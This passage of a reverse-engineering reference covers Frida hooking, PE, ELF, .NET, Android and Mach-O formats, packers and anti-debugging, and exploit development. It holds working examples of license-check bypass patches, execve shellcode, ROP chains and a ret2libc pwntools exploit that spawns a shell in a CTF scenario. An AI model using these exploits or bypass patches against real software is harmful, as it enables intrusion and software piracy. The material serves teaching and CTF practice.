        // Modify arguments:
        args[1] = Memory.allocUtf8String("Hooked by Frida!");
    },
    onLeave: function(retval) {
        console.log("[MessageBoxA] Return value: " + retval);
    }
});

Running Frida script:

# Attach to process by name:
frida -l hook.js -n malware.exe
 
# Attach to process by PID:
frida -l hook.js -p 1234
 
# Spawn new process:
frida -l hook.js -f malware.exe

Frida examples:

1. Bypass license check:

// Hook check_license() function, force return TRUE
var base = Module.findBaseAddress("malware.exe");
var check_license = base.add(0x1234);  // Offset of function
 
Interceptor.attach(check_license, {
    onLeave: function(retval) {
        console.log("Original return value: " + retval);
        retval.replace(1);  // Force return TRUE
        console.log("Modified to: 1 (license valid)");
    }
});

2. Dump decrypted strings:

// Hook decryption function, log decrypted output
Interceptor.attach(Module.findExportByName(null, "decrypt_string"), {
    onLeave: function(retval) {
        var decrypted = Memory.readUtf8String(retval);
        console.log("Decrypted string: " + decrypted);
    }
});

3. Trace all function calls:

// Trace all calls to functions in malware.exe
var moduleName = "malware.exe";
var module = Process.getModuleByName(moduleName);
 
Module.enumerateExports(moduleName, {
    onMatch: function(exp) {
        if (exp.type === 'function') {
            Interceptor.attach(exp.address, {
                onEnter: function(args) {
                    console.log("[Call] " + exp.name + " @ " + exp.address);
                }
            });
        }
    },
    onComplete: function() {}
});

---

Platform-Specific Reversing

Windows PE Format

PE (Portable Executable) is the binary format for Windows executables (.exe, .dll, .sys).

PE structure:

DOS Header (MZ header)
  |
DOS Stub ("This program cannot be run in DOS mode")
  |
PE Signature ("PE\0\0")
  |
COFF Header (machine type, number of sections, timestamp)
  |
Optional Header (entry point, image base, section alignment)
  |
Section Headers (.text, .data, .rdata, .rsrc)
  |
Sections (actual code and data)

Key PE components:

1. DOS Header (offset 0x0):

typedef struct _IMAGE_DOS_HEADER {
    WORD e_magic;      // "MZ" (0x5A4D)
    // ...
    LONG e_lfanew;     // Offset to PE header
} IMAGE_DOS_HEADER;

2. PE Header:

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;   // "PE\0\0" (0x4550)
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS;

3. Optional Header (contains entry point):

typedef struct _IMAGE_OPTIONAL_HEADER {
    // ...
    DWORD AddressOfEntryPoint;  // RVA of entry point
    DWORD ImageBase;            // Preferred load address (e.g., 0x400000)
    // ...
} IMAGE_OPTIONAL_HEADER;

4. Sections:

Section	Purpose
.text	Executable code
.data	Initialized data (global variables)
.rdata	Read-only data (strings, constants)
.bss	Uninitialized data
.rsrc	Resources (icons, dialogs, version info)
.reloc	Relocation table (for ASLR)

5. Import Address Table (IAT):

• List of imported functions from DLLs
• Resolved at runtime by Windows loader

6. Export Address Table (EAT):

• List of exported functions (for DLLs)

Analyzing PE with tools:

# PEview (Windows GUI):
# https://wjradburn.com/software/
# Shows PE structure, sections, imports, exports
 
# PE-bear (Windows GUI):
# https://github.com/hasherezade/pe-bear-releases
# Advanced PE editor and analyzer
 
# pefile (Python):
pip install pefile
 
python3
>>> import pefile
>>> pe = pefile.PE("malware.exe")
>>> print(hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint))
>>> for section in pe.sections:
...     print(section.Name.decode(), hex(section.VirtualAddress))

Finding entry point:

import pefile
 
pe = pefile.PE("malware.exe")
entry_point_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint
image_base = pe.OPTIONAL_HEADER.ImageBase
entry_point_va = image_base + entry_point_rva
print(f"Entry point: 0x{entry_point_va:X}")

Linux ELF Format

ELF (Executable and Linkable Format) is the binary format for Linux/Unix executables.

ELF structure:

ELF Header
  |
Program Headers (segments for runtime)
  |
Section Headers (.text, .data, .bss, .rodata, etc.)
  |
Sections (actual code and data)
  |
Symbol Table (functions, variables)
  |
String Table (symbol names)

Key ELF components:

1. ELF Header:

typedef struct {
    unsigned char e_ident[16];  // Magic: 0x7F, 'E', 'L', 'F'
    uint16_t e_type;            // Type: ET_EXEC (executable), ET_DYN (shared object)
    uint16_t e_machine;         // Architecture: EM_386 (x86), EM_X86_64 (x64), EM_ARM
    // ...
    uint64_t e_entry;           // Entry point address
} Elf64_Ehdr;

2. Program Headers (segments):

• LOAD: Loadable segment (mapped into memory)
• DYNAMIC: Dynamic linking information
• INTERP: Path to interpreter (e.g., /lib64/ld-linux-x86-64.so.2)

3. Sections:

Section	Purpose
.text	Executable code
.data	Initialized data
.bss	Uninitialized data
.rodata	Read-only data (strings)
.plt	Procedure Linkage Table (for dynamic linking)
.got	Global Offset Table (addresses of imported functions)
.symtab	Symbol table
.strtab	String table

4. GOT (Global Offset Table) and PLT (Procedure Linkage Table):

• GOT: Contains addresses of external functions (resolved at runtime)
• PLT: Stub code that jumps to GOT entries

Example (calling printf):

; First call to printf:
call printf@plt         ; Jump to PLT stub
 
; PLT stub:
printf@plt:
jmp [printf@got]        ; Jump to address in GOT (initially resolver)
push 0                  ; Push relocation index
jmp _dl_runtime_resolve ; Resolve printf address, update GOT
 
; Subsequent calls:
call printf@plt         ; Jump to PLT stub
printf@plt:
jmp [printf@got]        ; GOT now contains real printf address

Analyzing ELF with tools:

# readelf (view ELF headers):
readelf -h program         # ELF header
readelf -l program         # Program headers (segments)
readelf -S program         # Section headers
readelf -s program         # Symbol table
readelf -r program         # Relocations
 
# objdump (disassemble):
objdump -d program         # Disassemble .text section
objdump -D program         # Disassemble all sections
objdump -M intel -d program  # Intel syntax
 
# file (identify file type):
file program
# Output: ELF 64-bit LSB executable, x86-64
 
# ldd (list dynamic dependencies):
ldd program
# Output: libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

Finding entry point:

readelf -h program | grep Entry
# Output: Entry point address: 0x401050

.NET Reversing

.NET assemblies are compiled to CIL (Common Intermediate Language), not native code.

Why .NET is easier to reverse:

• CIL is high-level (closer to source code than assembly)
• Metadata preserves class/method/variable names (unless obfuscated)
• Decompilers produce near-source-quality C# code

Tools:

Tool	Purpose
dnSpyEx	.NET decompiler & debugger (active fork; original dnSpy archived 2020-12-21)
ILSpy	.NET decompiler (open-source, cross-platform via Avalonia)
dotPeek	.NET decompiler (JetBrains, free)
de4dot	.NET deobfuscator (legacy; many obfuscators added since last update)

Note: The original dnSpy repository (github.com/dnSpy/dnSpy) was archived on 2020-12-21. The community-maintained fork is dnSpyEx (github.com/dnSpyEx/dnSpy), which has continued receiving fixes and .NET 5/6/7/8 support. References below say “dnSpyEx” — usage and shortcuts are identical to legacy dnSpy.

dnSpyEx usage:

# Windows: Launch dnSpy.exe (the binary name is unchanged in the fork)
dnSpy.exe
 
# Open .NET assembly:
# File → Open → Select .exe or .dll

dnSpyEx features:

1. Decompiled C# code:

// Original source (approximately):
public class LicenseChecker {
    public static bool CheckLicense(string key) {
        string validKey = "ABC123-XYZ789";
        if (key == validKey) {
            return true;
        }
        return false;
    }
}

2. IL (Intermediate Language) view:

.method public static bool CheckLicense(string key) cil managed {
    .maxstack 2
    .locals init ([0] bool result)
 
    ldstr "ABC123-XYZ789"
    ldarg.0
    call bool [mscorlib]System.String::op_Equality(string, string)
    stloc.0
    ldloc.0
    ret
}

3. Editing & patching:

• Right-click on method → Edit IL Instructions
• Modify IL code (e.g., change comparison to always return true)
• File → Save Module (save patched binary)

Example: Bypass license check:

Before:

if (key == validKey) {
    return true;
}
return false;

Patch IL:

; Change conditional to always return true:
; Replace "call bool System.String::op_Equality" with:
pop       ; Discard comparison result
pop       ; Discard arguments
ldc.i4.1  ; Push TRUE (1)
ret

de4dot (deobfuscation):

# Remove obfuscation from .NET binary:
de4dot.exe obfuscated.exe
 
# Output: obfuscated-cleaned.exe (deobfuscated)

Android APK Reversing

APK (Android Package) is a ZIP file containing:

• classes.dex: Dalvik bytecode (compiled Java/Kotlin)
• lib/: Native libraries (.so files for ARM/x86)
• res/: Resources (images, layouts)
• AndroidManifest.xml: App permissions and components

Tools:

Tool	Purpose
JADX	DEX to Java decompiler (GUI & CLI)
Apktool	Decode APK to smali (Dalvik assembly)
dex2jar	Convert DEX to JAR (for JD-GUI)
Frida	Dynamic instrumentation for Android
Ghidra	Reverse native libraries (.so files)

JADX usage:

# Install JADX:
# https://github.com/skylot/jadx/releases
 
# Decompile APK:
jadx app.apk -d output_dir
 
# Or use GUI:
jadx-gui app.apk

JADX output:

// Decompiled Java code (from classes.dex):
public class MainActivity extends AppCompatActivity {
    private void checkLicense() {
        String license = "VALID-LICENSE-KEY";
        String userInput = editText.getText().toString();
        if (userInput.equals(license)) {
            Toast.makeText(this, "Access granted!", Toast.LENGTH_SHORT).show();
        } else {
            Toast.makeText(this, "Invalid license", Toast.LENGTH_SHORT).show();
        }
    }
}

Apktool usage:

# Decode APK to smali (Dalvik assembly):
apktool d app.apk -o app_decoded
 
# Output directory structure:
# app_decoded/
#   smali/          (Dalvik assembly code)
#   res/            (resources)
#   AndroidManifest.xml
 
# Edit smali code, then rebuild:
apktool b app_decoded -o app_modified.apk
 
# Sign APK:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
  -keystore my.keystore app_modified.apk alias_name

Analyzing native libraries (.so files):

# APK may contain native ARM/x86 libraries in lib/:
# lib/armeabi-v7a/libnative.so
# lib/arm64-v8a/libnative.so
# lib/x86/libnative.so
 
# Extract .so file from APK:
unzip app.apk lib/arm64-v8a/libnative.so
 
# Analyze in Ghidra:
# File → Import File → libnative.so
# Analyze with default settings

ARM64 / Apple Silicon (Mach-O)

ARM64 (AArch64) is now the default architecture for iOS, modern Android flagships, AWS Graviton, and every Apple Silicon Mac (M1/M2/M3/M4). Mach-O is the binary format on macOS and iOS — fundamentally different from PE/ELF.

Triage:

# Identify file type and architecture
file sample
# "Mach-O 64-bit executable arm64"
# "Mach-O universal binary with 2 architectures: [x86_64] [arm64]"  ← fat / universal binary
 
# Mach-O headers
otool -hv sample                # Mach-O header
otool -L sample                 # Linked dynamic libraries
otool -l sample | less          # Load commands (segments, dyld info, code signature)
 
# Inspect each slice of a fat binary
lipo -info sample
lipo -thin arm64 sample -output sample.arm64

Key Mach-O concepts:

• Segments and sections. __TEXT (code, read-only), __DATA / __DATA_CONST (writable globals), __LINKEDIT (symbol/string tables, code signature, dyld trie).
• Code signature is mandatory on arm64 macOS and iOS. Every binary must be signed (ad-hoc codesign -s - is enough for local analysis). Patching a Mach-O on disk invalidates the signature; re-sign with codesign -fs - patched_binary or it will fail to launch.
• System Integrity Protection (SIP) prevents debugging Apple-signed system binaries even as root. Use Apple’s own lldb against your own binaries, or disable SIP in Recovery (csrutil disable) on a dedicated analysis machine — never on a daily driver.
• Hardened runtime / library validation. Apps with com.apple.security.cs.disable-library-validation = false reject unsigned dylib injection — Frida and similar tools require either ad-hoc re-signing with the entitlement removed, or Apple’s get-task-allow debugging entitlement.

ARM64 disassembly basics:

; AArch64 register file
X0–X30   64-bit general purpose (W0–W30 = lower 32 bits)
SP       stack pointer
LR (X30) link register — holds return address
PC       program counter (not directly addressable)

; Calling convention (AAPCS64 — same on macOS, Linux, Android)
X0–X7    first 8 integer/pointer arguments
X0       integer return value
V0–V7    SIMD/FP arguments and return
X18      reserved (platform register; do NOT clobber on Apple)

; Common instruction patterns
stp  x29, x30, [sp, #-0x20]!   ; prologue: push frame pointer + link register
mov  x29, sp                   ; set up frame pointer
bl   _printf                   ; branch with link (call)
ldp  x29, x30, [sp], #0x20     ; epilogue: restore + adjust SP
ret                            ; branch to LR

; Load 64-bit pointer in two halves (PC-relative addressing)
adrp x0, sym@PAGE
add  x0, x0, sym@PAGEOFF

Tooling:

Tool	macOS arm64	iOS arm64	Notes
Hopper Disassembler	Native	Yes	First-class Mach-O / ARM64 support, reasonable price
IDA Pro 8.x+	Native	Yes	Decompiler covers AArch64; iOS dyldcache extractor
Ghidra 11.x	Native (Java)	Yes	Free; AArch64 decompiler is competent though noisier than IDA
Binary Ninja	Native	Yes	Strong arm64 support
otool / lldb	System	No	Apple’s stock disassembler and debugger
dyld_shared_cache_extract	macOS	iOS image	Extract individual frameworks from dyld_shared_cache_arm64e

iOS specifics:

• arm64e vs arm64. A14 / M1 and later use arm64e, which adds Pointer Authentication Codes (PAC). Function pointers have a cryptographic signature in the upper bits — strip with xpaci / xpacd or read raw bytes for static analysis. Decompilers handle this; hand-written ROP does not.
• iOS application binaries live inside the IPA (unzip app.ipa) under Payload/AppName.app/AppName. Pre-iOS 16 they are FairPlay-encrypted (DRM); decrypt on a jailbroken device with frida-ios-dump or Clutch before static analysis.
• dyld shared cache. On iOS, system frameworks are not standalone files — they live inside /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64e. Extract with dyld-shared-cache-extractor (Ghidra ships one) before opening individual frameworks.

Dynamic analysis on Apple Silicon:

# lldb on macOS — Apple's stock debugger (no GDB on arm64 macOS)
lldb ./sample
(lldb) breakpoint set -n main
(lldb) run
(lldb) register read
(lldb) memory read --format x --size 8 $sp
 
# Frida works on arm64 macOS / iOS, but the binary must be ad-hoc re-signed
# without library validation, or run on a jailbroken device.
codesign --remove-signature ./sample
codesign -fs - --entitlements get-task-allow.plist ./sample
frida -l hook.js ./sample

OPSEC note. Apple Silicon laptops increasingly serve as analysis hosts for cross-platform malware. Run all sample execution inside a hardened UTM or VMware Fusion Linux/Windows VM, never on the host macOS — Mach-O malware will execute natively on M-series CPUs.

---

Anti-Reversing Techniques

Obfuscation

Obfuscation makes code harder to understand without changing functionality.

Control flow obfuscation:

Before (simple if statement):

if (password == "correct") {
    access_granted();
} else {
    access_denied();
}

After (obfuscated with opaque predicates):

int x = (rand() % 2 == 0) ? 1 : 1;  // Always 1, but hard to analyze statically
if (x == 1) {
    if (password == "correct") {
        access_granted();
    } else {
        access_denied();
    }
}

String obfuscation (XOR encoding):

// Hardcoded string is visible in binary
char password[] = "secret123";
 
// Obfuscated (XOR with key):
char enc[] = {0x10, 0x02, 0x00, 0x15, 0x02, 0x11, 0x56, 0x54, 0x50};
char password[10];
for (int i = 0; i < 9; i++) {
    password[i] = enc[i] ^ 0x42;  // XOR with 0x42
}
password[9] = '\0';
// Result: "secret123"

Defeating string obfuscation:

1. Find decoding loop in disassembly
2. Extract encoded data and XOR key
3. Decode manually or with script

Packing

Packing compresses or encrypts the entire binary, unpacking at runtime.

Common packers and section signatures:

Packer	Section names	Other tells	Reversible?
UPX	UPX0, UPX1, UPX2	UPX! magic in overlay, very few imports	Yes — upx -d
ASPack	.aspack, .adata	aSPack string, low import count	Partially (community tools)
PECompact	pec1, pec2	Short stub section	Partially
MPRESS	.MPRESS1, .MPRESS2	LZMA compression, 1–2 imports	Partially
Themida / WinLicense	.themida, .winlicence	Virtualized code, anti-debug, large protected section	No — dump after self-unpack
VMProtect	.vmp0, .vmp1, .vmp2	Custom VM bytecode, heavy anti-tamper	No — dump
Enigma Protector	.enigma1, .enigma2	License-check stubs	No — dump
Custom / unknown	Non-standard names	High entropy, minimal imports, no DiE signature	Dump-only; assume APT-grade

Detecting packed binaries:

Use Detect It Easy (DiE) as the primary tool — it carries 300+ packer/compiler signatures and renders per-section entropy. PE-bear and pestudio are good secondary opinions; PEiD is legacy but still useful for older signature hits that DiE misses.

# Entropy as a fast triage signal:
#   < 6.0  : typical compiled code or data
#   6.0–7.0: borderline (compressed resources, large data tables)
#   > 7.0  : likely packed or encrypted   ← analyze further
#   ≈ 8.0  : indistinguishable from random (strong packing/crypto)
 
# Per-section entropy with DiE (CLI) or Python:
python3 -c "
import pefile, math
pe = pefile.PE('malware.exe')
for s in pe.sections:
    data = s.get_data()
    if not data: continue
    freq = [0]*256
    for b in data: freq[b]+=1
    e = -sum((c/len(data))*math.log2(c/len(data)) for c in freq if c)
    print(f'{s.Name.rstrip(chr(0)).decode():10}  entropy={e:.2f}  size={s.SizeOfRawData:>8}')
"
 
# Import count: a fully-packed PE often imports only LoadLibraryA / GetProcAddress
#               (sometimes plus VirtualAlloc / VirtualProtect for stub setup).

Sophistication signal mapping:

• UPX or self-rolled XOR stub → commodity / script-kid
• ASPack / PECompact / MPRESS → low-mid commercial
• Themida / VMProtect / Enigma → mid-high commercial (note in report; dynamic analysis required)
• Custom packer with unique section names → APT-grade development capability

Unpacking UPX:

# UPX can be unpacked with official unpacker:
upx -d packed.exe -o unpacked.exe
 
# Manual unpacking (if UPX modified):
# 1. Find OEP (Original Entry Point) via debugger
# 2. Set breakpoint on "pushad" instruction (typical UPX stub)
# 3. Run until unpacking complete
# 4. Dump process memory to file

Manual unpacking process (debugger-driven):

1. Load in debugger (x64dbg) and let the process pause at the entry point
2. Find tail jump (last jump before OEP)
   • UPX typically has a jmp <OEP> at end of unpacking stub
   • For other packers, set breakpoints on VirtualAlloc / VirtualProtect (allocation of the unpacked region) and on RtlExitUserProcess
3. Set breakpoint on tail jump
4. Run until breakpoint hit
5. Step into jump (F7) → now at OEP
6. Dump process (Scylla plugin in x64dbg):
   • Plugins → Scylla → Dump → Select process → Dump
7. Fix imports (Scylla):
   • IAT Autosearch → Get Imports → Fix Dump

Memory-scan unpacking (pe-sieve / hollows_hunter):

For samples with strong anti-debug protections (Themida/VMProtect/Enigma), let the malware run in an isolated VM with ScyllaHide active and dump the unpacked image straight from process memory — no OEP detection or IAT rebuild required.

# pe-sieve — scan a single PID for unpacked, hollowed, or implanted PE images
pe-sieve.exe /pid <malware_pid> /dir C:\analysis\dumps /imp 3 /shellc
 
# hollows_hunter — scan ALL processes (useful when the loader migrates)
hollows_hunter.exe /pname malware.exe /dir C:\analysis\dumps /imp 3

What you get: a directory containing each suspicious region as its own .dll / .exe plus an import-recovery report. Run file and re-hash everything in the dump folder — the unpacked second-stage frequently has a known SHA-256 in MalwareBazaar even when the packed dropper does not.

Anti-Debugging Techniques

See Dynamic Analysis → Bypassing Anti-Debugging for detailed techniques and bypasses.

Common anti-debugging methods:

1. IsDebuggerPresent API call
2. PEB BeingDebugged flag check
3. RDTSC timing checks
4. Exception-based detection (debuggers handle exceptions differently)
5. Hardware breakpoint detection (check DR0-DR7 registers)
6. Software breakpoint detection (check for 0xCC INT3 instructions)
7. Parent process check (debugged process has debugger as parent)

Patching anti-debugging:

# IDA Pro: Identify anti-debug check, patch to NOP
# Example: Patch "call IsDebuggerPresent" to "xor eax, eax"
 
# Before:
call IsDebuggerPresent  ; E8 XX XX XX XX
test eax, eax           ; 85 C0
jnz debugger_detected   ; 75 XX
 
# After (patch):
xor eax, eax            ; 33 C0
nop                     ; 90
nop                     ; 90
nop                     ; 90
test eax, eax           ; 85 C0 (unchanged, EAX always 0)
jnz debugger_detected   ; 75 XX (never jumps)
 
# IDA Pro: Edit → Patch program → Assemble
# Or: Hex edit: Replace "E8 XX XX XX XX" with "33 C0 90 90 90"

Code Virtualization

Code virtualization converts native code to custom VM bytecode.

Example (VMProtect):

Before (native x86):

mov eax, 0x42
add eax, ebx
ret

After (VMProtect - custom bytecode):

VM_PUSH 0x42        ; Push 0x42 to VM stack
VM_PUSH_REG EBX     ; Push EBX to VM stack
VM_ADD              ; Pop two values, add, push result
VM_POP_REG EAX      ; Pop result to EAX
VM_RET              ; Return

Defeating virtualization:

• Time-consuming: Reverse the VM interpreter (understand bytecode handlers)
• Automated tools: VMAttack, NoVmp (experimental, limited success)
• Alternative: Dynamic analysis (bypass VM, focus on decrypted API calls)

---

Exploit Development

Buffer Overflows

Stack-based buffer overflow:

Vulnerable code:

#include <stdio.h>
#include <string.h>
 
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    printf("Buffer: %s\n", buffer);
}
 
int main(int argc, char **argv) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

Exploitation:

# Generate payload to overwrite return address
import struct
 
# Step 1: Find offset to return address
# Use pattern_create (pwntools or msf-pattern_create)
# python3 -c 'from pwn import *; print(cyclic(200))'
 
# Step 2: Run program with pattern, crash at EIP=0x61616171
# Use pattern_offset to find offset:
# python3 -c 'from pwn import *; print(cyclic_find(0x61616171))'
# Offset: 76 bytes
 
# Step 3: Craft payload
offset = 76
return_address = struct.pack("<I", 0x08048484)  # Address of shellcode or gadget
nop_sled = b"\x90" * 16  # NOP sled
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68..."  # Shellcode (spawn shell)
 
payload = b"A" * offset + return_address + nop_sled + shellcode
 
# Run:
# ./vulnerable "$(python3 exploit.py)"

Stack layout during overflow:

High memory
-----------------
[Return address]   <-- Overwrite with shellcode address
[Saved EBP]        <-- Overwritten
[buffer[64]]       <-- Buffer overflow starts here
...
Low memory

Return-Oriented Programming (ROP)

ROP chains together “gadgets” (short instruction sequences ending in ret) to execute code without injecting shellcode.

Why ROP?

• DEP/NX: Data Execution Prevention prevents executing code on stack/heap
• ASLR: Address Space Layout Randomization makes hardcoded addresses unreliable
• ROP bypasses DEP: Uses existing code in binary/libraries (already executable)

Finding ROP gadgets:

# ROPgadget (Python tool):
ROPgadget --binary vulnerable --ropchain
 
# Or use ropper:
ropper --file vulnerable --search "pop rdi"
 
# Example gadgets:
0x004005a3: pop rdi; ret
0x004005a1: pop rsi; pop r15; ret
0x00400490: pop rax; ret
0x00400610: syscall; ret

ROP chain example (call execve(“/bin/sh”)):

from pwn import *
 
# Gadgets:
pop_rdi = 0x004005a3  # pop rdi; ret
pop_rsi_r15 = 0x004005a1  # pop rsi; pop r15; ret
pop_rax = 0x00400490  # pop rax; ret
syscall = 0x00400610  # syscall; ret
 
# Data:
bin_sh = 0x00601050  # Address of "/bin/sh" string in binary
 
# ROP chain to call execve("/bin/sh", NULL, NULL):
# execve(rdi="/bin/sh", rsi=NULL, rdx=NULL) -> syscall 59
 
rop_chain = p64(pop_rdi) + p64(bin_sh)       # rdi = "/bin/sh"
rop_chain += p64(pop_rsi_r15) + p64(0) + p64(0)  # rsi = NULL, r15 = 0
rop_chain += p64(pop_rax) + p64(59)          # rax = 59 (execve syscall)
rop_chain += p64(syscall)                    # syscall
 
# Full payload:
payload = b"A" * 76 + rop_chain
 
# Send to vulnerable program

Shellcode Development

Shellcode is position-independent code (typically for spawning a shell).

Linux x64 shellcode (execve(“/bin/sh”)):

; execve("/bin/sh", NULL, NULL)
; syscall number: 59 (in RAX)
 
section .text
global _start
 
_start:
    xor rax, rax        ; RAX = 0
    push rax            ; NULL terminator
    mov rdi, 0x68732f6e69622f  ; "/bin/sh" (little-endian)
    push rdi            ; Push "/bin/sh" onto stack
    mov rdi, rsp        ; RDI = pointer to "/bin/sh"
    xor rsi, rsi        ; RSI = NULL (argv)
    xor rdx, rdx        ; RDX = NULL (envp)
    mov al, 59          ; RAX = 59 (execve syscall)
    syscall             ; Execute syscall

Assemble shellcode:

# Assemble:
nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode
 
# Extract bytes:
objdump -d shellcode -M intel | grep '^ ' | cut -f2 | tr -d ' \n'
# Output: 4831c05048bf2f62696e2f736800574889e74831f64831d2b03b0f05

Python shellcode payload:

shellcode = b"\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00"
shellcode += b"\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05"
 
# Use in exploit:
payload = nop_sled + shellcode + return_address

Bypassing Protections

DEP/NX (Data Execution Prevention):

• What it does: Marks stack/heap as non-executable
• Bypass: ROP (return-oriented programming)

ASLR (Address Space Layout Randomization):

• What it does: Randomizes base addresses of stack, heap, libraries
• Bypass: Information leak (leak address, calculate offsets)

Stack Canaries:

• What it does: Places random value before return address, checks on function return
• Detection:

mov rax, qword ptr fs:[0x28]  ; Load canary from TLS
mov qword ptr [rbp-0x8], rax  ; Store canary on stack
; ... function body ...
mov rax, qword ptr [rbp-0x8]  ; Load canary from stack
xor rax, qword ptr fs:[0x28]  ; Compare with original
jne __stack_chk_fail          ; Crash if mismatch

• Bypass: Leak canary value (via format string or info leak)

PIE (Position Independent Executable):

• What it does: Binary can be loaded at any address (extends ASLR to code section)
• Bypass: Information leak (leak code address, calculate gadget offsets)

Checking protections:

# Linux: checksec (pwntools):
checksec --file vulnerable
# Output:
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE
 
# Windows: PESecurity (PowerShell):
Get-PESecurity -file vulnerable.exe

---

Practical Workflows

Crackme Challenges

Scenario: Reverse a “crackme” challenge to find the correct password.

Workflow:

1. Initial triage:

file crackme
# Output: ELF 64-bit LSB executable
 
strings crackme | grep -i password
# Output: "Enter password:", "Correct!", "Wrong!"

2. Disassemble in Ghidra:

• Load binary → Analyze
• Find main function (or search for “Enter password” string, find xrefs)

3. Identify comparison:

// Decompiled code (Ghidra):
int main(void) {
    char input[32];
    printf("Enter password: ");
    scanf("%s", input);
 
    if (strcmp(input, "secret_password") == 0) {
        printf("Correct!\n");
        return 0;
    } else {
        printf("Wrong!\n");
        return 1;
    }
}

4. Extract password:

• Password hardcoded: "secret_password"
• Alternative: Dynamic analysis (set breakpoint on strcmp, inspect arguments)

5. Verify:

./crackme
# Enter password: secret_password
# Output: Correct!

Patching Binaries

Scenario: Patch a license check to always return “valid.”

Workflow:

1. Find license check in IDA/Ghidra:

; Original code:
call check_license  ; Returns 0 (invalid) or 1 (valid)
test eax, eax
jz license_invalid  ; Jump if zero (invalid)
; ... license valid path ...

2. Patch comparison:

Option A: Patch jump (always take “valid” path):

; Before:
jz license_invalid  ; 74 XX (conditional jump)
 
; After:
jmp license_valid   ; EB XX (unconditional jump)
; Or: NOP the jump entirely
nop                 ; 90
nop                 ; 90

Option B: Patch function to always return 1:

; Patch check_license function:
; Before:
check_license:
    ; ... complex license verification ...
    ret
 
; After:
check_license:
    mov eax, 1      ; Always return 1 (valid)
    ret

3. Apply patch in IDA:

• Edit → Patch program → Assemble (modify instructions)
• Edit → Patch program → Apply patches to input file (save patched binary)

4. Verify:

./patched_binary
# License check bypassed!

Malware Analysis Integration

See Malware Analysis for comprehensive malware reversing workflows.

Quick integration:

1. Static analysis (Ghidra/IDA): Identify suspicious functions (network, encryption, persistence)
2. Dynamic analysis (x64dbg/GDB): Monitor API calls, network traffic, file modifications
3. Extract IOCs (IPs, domains, file hashes, registry keys)
4. Behavioral analysis

Example: Extract C2 server address:

# Static: Search for IP/domain strings
strings malware.exe | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}|https?://"
 
# Dynamic: Monitor network calls in x64dbg
# Set breakpoint on "connect", "WSAConnect", "InternetConnectA"
# Inspect arguments when hit (IP, port in sockaddr structure)

CTF Binary Exploitation

Scenario: CTF pwn challenge with buffer overflow.

Workflow:

1. Download binary and check protections:

checksec chall
# Output: NX enabled, No PIE, No canary

2. Find vulnerability (buffer overflow in gets()):

// Decompiled:
void vuln() {
    char buffer[64];
    gets(buffer);  // Vulnerable!
    puts(buffer);
}

3. Find offset to return address:

# Generate cyclic pattern:
python3 -c 'from pwn import *; print(cyclic(200))' > pattern.txt
 
# Run in GDB:
gdb ./chall
run < pattern.txt
# Crash at RIP = 0x6161616b ("kaaa")
 
# Find offset:
python3 -c 'from pwn import *; print(cyclic_find(0x6161616b))'
# Offset: 72

4. Develop exploit (ret2libc to bypass NX):

from pwn import *
 
# Addresses:
puts_plt = 0x400530      # puts@PLT
puts_got = 0x601018      # puts@GOT
pop_rdi = 0x4006d3       # pop rdi; ret gadget
ret = 0x4006d4           # ret gadget (for alignment)
main = 0x400626          # main function
 
# Stage 1: Leak libc address
payload = b"A" * 72
payload += p64(pop_rdi) + p64(puts_got)  # rdi = puts@GOT
payload += p64(puts_plt)                 # Call puts(puts@GOT) -> leak libc
payload += p64(main)                     # Return to main
 
p = process('./chall')
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - 0x809c0  # Offset to puts in libc
system = libc_base + 0x4f440
bin_sh = libc_base + 0x1b3e9a
 
# Stage 2: Call system("/bin/sh")
payload2 = b"A" * 72
payload2 += p64(ret)  # Stack alignment
payload2 += p64(pop_rdi) + p64(bin_sh)
payload2 += p64(system)
 
p.sendline(payload2)
p.interactive()  # Shell!

5. Submit flag:

# In shell:
cat flag.txt

---

Tools Reference

Disassemblers & Decompilers

Tool	Type	Platform	Cost	Download
IDA Pro	Disassembler + Decompiler	Win/Linux/macOS	$$$	https://hex-rays.com/ida-pro/
Ghidra	Disassembler + Decompiler	Win/Linux/macOS	Free	https://ghidra-sre.org/
Binary Ninja	Disassembler + Decompiler	Win/Linux/macOS	$$	https://binary.ninja/
Radare2	Disassembler	Win/Linux/macOS	Free	https://rada.re/
Cutter	Disassembler (r2 GUI)	Win/Linux/macOS	Free	https://cutter.re/
Hopper	Disassembler + Decompiler	macOS/Linux	$	https://www.hopperapp.com/
RetDec	Decompiler (online/CLI)	Web/Linux	Free	https://retdec.com/

Debuggers

Tool	Platform	Best For
x64dbg	Windows	Windows user-mode, malware, CTF
WinDbg	Windows	Kernel debugging, crash analysis
GDB	Linux/macOS	Linux/macOS debugging, exploits, Python scripting (PEDA/GEF/pwndbg)
LLDB	macOS/Linux	macOS/iOS, modern alternative to GDB
OllyDbg	Windows	Legacy 32-bit (x64dbg recommended)
IDA Debugger	Win/Linux/macOS	Integrated with IDA disassembly
EDB	Linux	Linux GUI debugger

Dynamic Instrumentation

Tool	Platform	Purpose
Frida	Win/Linux/macOS/Android/iOS	Runtime hooking, API monitoring
DynamoRIO	Win/Linux	Dynamic binary instrumentation framework
Pin	Win/Linux	Intel’s instrumentation tool
Unicorn	All	CPU emulator for RE (based on QEMU)
Qiling	All	Binary emulation framework

Platform-Specific Tools

Windows:

• PE-bear: PE editor/analyzer
• PEview: PE structure viewer
• CFF Explorer: PE editor
• System Informer: Process monitoring (formerly Process Hacker; renamed 2022 — github.com/winsiderss/systeminformer)
• Procmon: File/registry/network monitoring
